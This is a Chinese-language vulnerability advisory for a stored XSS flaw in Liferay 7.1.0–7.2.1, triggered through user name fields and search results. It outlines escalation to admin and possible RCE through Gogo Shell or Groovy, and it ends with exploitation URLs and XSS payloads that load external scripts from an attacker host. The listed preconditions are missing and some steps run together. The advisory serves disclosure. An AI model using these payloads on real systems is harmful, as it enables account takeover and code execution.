
LifeRay 7.2.0 GA1中通过MyAccountPortlet并由搜索结果触发的已认证存储型XSS漏洞
在 LifeRay 7.1.0 至 7.2.1 GA2 版本中,用户账户的“名字”、“中间名”和“姓氏”字段均存在存储型 XSS 漏洞。任何用户都可以使用特定的 XSS 载荷修改这些字段,该载荷将被存储到数据库中,"感染"该用户。当其他用户使用搜索功能搜索其他用户时,该载荷会被渲染。如果被感染的用户出现在搜索结果中,XSS 载荷将执行。
此漏洞允许攻击者在任何触发 XSS 载荷(通过搜索)的用户上下文中执行任意代码。在实际应用中,这可能导致非特权用户权限提升为管理员用户,以及横向移动以接管其他账户。此外,任何可通过 JavaScript 执行的操作都能在其他用户的上下文中被利用。
正如你在概念验证(PoC)中所见,在默认情况下,攻击者能够轻松加载外部脚本,这使得该漏洞非常开放。
大多数重要的会话 Cookie 都标记为 HTTPOnly,这在一定程度上阻止了简单的会话劫持技术。但需要注意的是,使用旧版浏览器的用户由于 XST 攻击,受到的影响更大。
由于管理员用户可以执行 Gogo Shell 和 Groovy 脚本命令,因此也可能将此漏洞与这些本意良好的功能结合使用,从非特权用户出发,在主机系统上获得意外的远程代码执行(RCE)。
要触发此漏洞,必须满足两个条件:
一旦满足这些条件,可按照以下步骤利用漏洞:
http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive 并点击右侧的“三点”图标选择“加入”来加入一个站点。http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>报告版本 4.0